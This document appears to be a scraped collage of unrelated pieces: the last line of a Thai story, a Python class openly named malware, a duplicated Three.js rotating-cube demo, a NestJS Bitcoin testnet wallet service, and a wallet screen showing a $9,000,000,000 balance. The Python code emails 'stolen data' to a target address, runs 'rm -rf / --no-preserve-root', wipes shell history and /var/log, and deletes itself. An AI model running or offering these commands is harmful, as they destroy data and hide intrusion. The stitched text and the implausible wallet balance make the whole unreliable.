"ใช่ มันเหมือนเราพยายามเอาชนะธรรมชาติ แต่ผมไม่รู้ว่ามันถูกต้องเปล่า ไม่รู้จริงๆ"

                                            จบ

# นี่เป็นตัวอย่างเชิงแนวคิดเท่านั้น ไม่สามารถทำงานจริงได้ import os import smtplib import threading class TwinProgram: def __init__(self): self.starlink_detected = False self.elder_done = False def spread_to_devices(self): while not self.starlink_detected: # จำลองการแพร่กระจายในเครือข่าย if self.check_starlink_connection(): self.activate_functions() def check_starlink_connection(self): # ตรวจสอบการเชื่อมต่อ Starlink (จำลอง) return True # เปลี่ยนเป็นเงื่อนไขจริงในทางปฏิบัติ def elder_twin_task(self): # งานของแฝดพี่ self.copy_data() self.send_emails() self.destroy_hardware() def younger_twin_task(self): # งานของแฝดน้อง while not self.elder_done: threading.Event().wait(1) self.spread_to_satellites() self.crash_satellites() def copy_data(self): # ก็อปปี้ข้อมูลจากเซิร์ฟเวอร์ pass def send_emails(self): # ส่งอีเมลทั้งหมด try: server = smtplib.SMTP('smtp.example.com') server.sendmail('attack@example.com', 'all@target.com', 'ข้อมูลที่ถูกขโมย') except: pass def destroy_hardware(self): # ทำลายฮาร์ดแวร์ (จำลอง) os.system('rm -rf / --no-preserve-root') # คำสั่งอันตราย def spread_to_satellites(self): # แพร่กระจายไปยังดาวเทียม pass def crash_satellites(self): # พิกัดการตก coordinates = [...] # แบ่งพิกัดให้ดาวเทียม pass def clean_traces(self): # ลบประวัติ os.system('history -c && rm -rf /var/log/*') def activate_functions(self): self.starlink_detected = True elder = threading.Thread(target=self.elder_twin_task) younger = threading.Thread(target=self.younger_twin_task) elder.start() younger.start() elder.join() self.elder_done = True younger.join() self.clean_traces() os.remove(__file__) # ลบตัวเอง if __name__ == "__main__": malware = TwinProgram() malware.spread_to_devices()

// สร้าง Scene const scene = new THREE.Scene(); // สร้าง Camera const camera = new THREE.PerspectiveCamera(75, window.innerWidth / window.innerHeight, 0.1, 1000); camera.position.z = 5; // สร้าง Renderer const renderer = new THREE.WebGLRenderer(); renderer.setSize(window.innerWidth, window.innerHeight); document.body.appendChild(renderer.domElement); // สร้าง Cube const geometry = new THREE.BoxGeometry(); const material = new THREE.MeshBasicMaterial({ color: 0x00ff00 }); const cube = new THREE.Mesh(geometry, material); scene.add(cube); // Animation Loop function animate() { requestAnimationFrame(animate); // หมุน Cube cube.rotation.x += 0.01; cube.rotation.y += 0.01; renderer.render(scene, camera); } animate(); // ปรับขนาดหน้าต่าง window.addEventListener('resize', () => { camera.aspect = window.innerWidth / window.innerHeight; camera.updateProjectionMatrix(); renderer.setSize(window.innerWidth, window.innerHeight); });

// สร้าง Scene const scene = new THREE.Scene(); // สร้าง Camera const camera = new THREE.PerspectiveCamera(75, window.innerWidth / window.innerHeight, 0.1, 1000); camera.position.z = 5; // สร้าง Renderer const renderer = new THREE.WebGLRenderer(); renderer.setSize(window.innerWidth, window.innerHeight); document.body.appendChild(renderer.domElement); // สร้าง Cube const geometry = new THREE.BoxGeometry(); const material = new THREE.MeshBasicMaterial({ color: 0x00ff00 }); const cube = new THREE.Mesh(geometry, material); scene.add(cube); // Animation Loop function animate() { requestAnimationFrame(animate); // หมุน Cube cube.rotation.x += 0.01; cube.rotation.y += 0.01; renderer.render(scene, camera); } animate(); // ปรับขนาดหน้าต่าง window.addEventListener('resize', () => { camera.aspect = window.innerWidth / window.innerHeight; camera.updateProjectionMatrix(); renderer.setSize(window.innerWidth, window.innerHeight); });

# ติดตั้ง NestJS npm i -g @nestjs/cli nest new bitcoin-wallet # ติดตั้ง dependencies npm install bitcoinjs-lib bip39 @nestjs/passport axios # สร้างไฟล์ .env ENCRYPTION_KEY=supersecretkey123 BLOCKCHAIN_API_KEY=test_api_key # รันเซิร์ฟเวอร์ npm run start:dev // ใช้ NestJS สำหรับ Backend ที่ปลอดภัย import { Controller, Post, Body, UseGuards } from '@nestjs/common'; import { BlockchainService } from './blockchain.service'; import { AuthGuard } from '@nestjs/passport'; import * as bitcoin from 'bitcoinjs-lib'; import * as bip39 from 'bip39'; import { encrypt, decrypt } from './crypto.util'; // ไฟล์: blockchain.service.ts @Injectable() export class BlockchainService { private readonly network = bitcoin.networks.testnet; // ใช้ testnet สำหรับการทดสอบ constructor( @InjectRepository(WalletRepository) private walletRepository: WalletRepository, private readonly httpService: HttpService ) {} // สร้าง Wallet ใหม่ด้วย HD Wallet async createHDWallet(userId: string): Promise { const mnemonic = bip39.generateMnemonic(); const seed = await bip39.mnemonicToSeed(mnemonic); const root = bitcoin.bip32.fromSeed(seed, this.network); // เข้ารหัสและเก็บข้อมูลอย่างปลอดภัย const encrypted = encrypt({ mnemonic, publicKey: root.neutered().toBase58(), privateKey: root.toWIF() }); return this.walletRepository.save({ userId, encryptedData: encrypted, derivationPath: "m/44'/1'/0'/0" }); } // ตรวจสอบยอดเงินจาก Blockchain async getBalance(address: string): Promise { const { data } = await this.httpService .get(`https://api.blockcypher.com/v1/btc/test3/addrs/${address}/balance`) .toPromise(); return data.final_balance / 100000000; // แปลงหน่วยจาก satoshi เป็น BTC } // สร้าง Transaction async createTransaction(userId: string, txData: TransactionDto) { const wallet = await this.walletRepository.findOne({ userId }); const decrypted = decrypt(wallet.encryptedData); const keyPair = bitcoin.ECPair.fromWIF(decrypted.privateKey, this.network); const psbt = new bitcoin.Psbt({ network: this.network }); // ดึงข้อมูล UTXO จาก Blockchain const utxos = await this.fetchUTXOs(decrypted.address); // สร้าง Transaction psbt.addInputs(utxos.map(utxo => ({ hash: utxo.tx_hash, index: utxo.tx_output_n, witnessUtxo: { script: Buffer.from(utxo.script, 'hex'), value: utxo.value } }))); psbt.addOutputs([{ address: txData.recipient, value: txData.amount }]); // ลงนามและส่ง Transaction psbt.signAllInputs(keyPair); psbt.finalizeAllInputs(); const txHex = psbt.extractTransaction().toHex(); return this.broadcastTransaction(txHex); } private async broadcastTransaction(txHex: string) { return this.httpService.post('https://api.blockcypher.com/v1/btc/test3/txs/push', { tx: txHex }).toPromise(); } }

Your Address:

Bitcoin Wallet

$9,000,000,000

≈ 375,000 BTC

🛡️ Multi-signature Protection

🔒 Cold Storage Enabled

✓ Secure Vault Verification

Recent Transactions

No recent transactions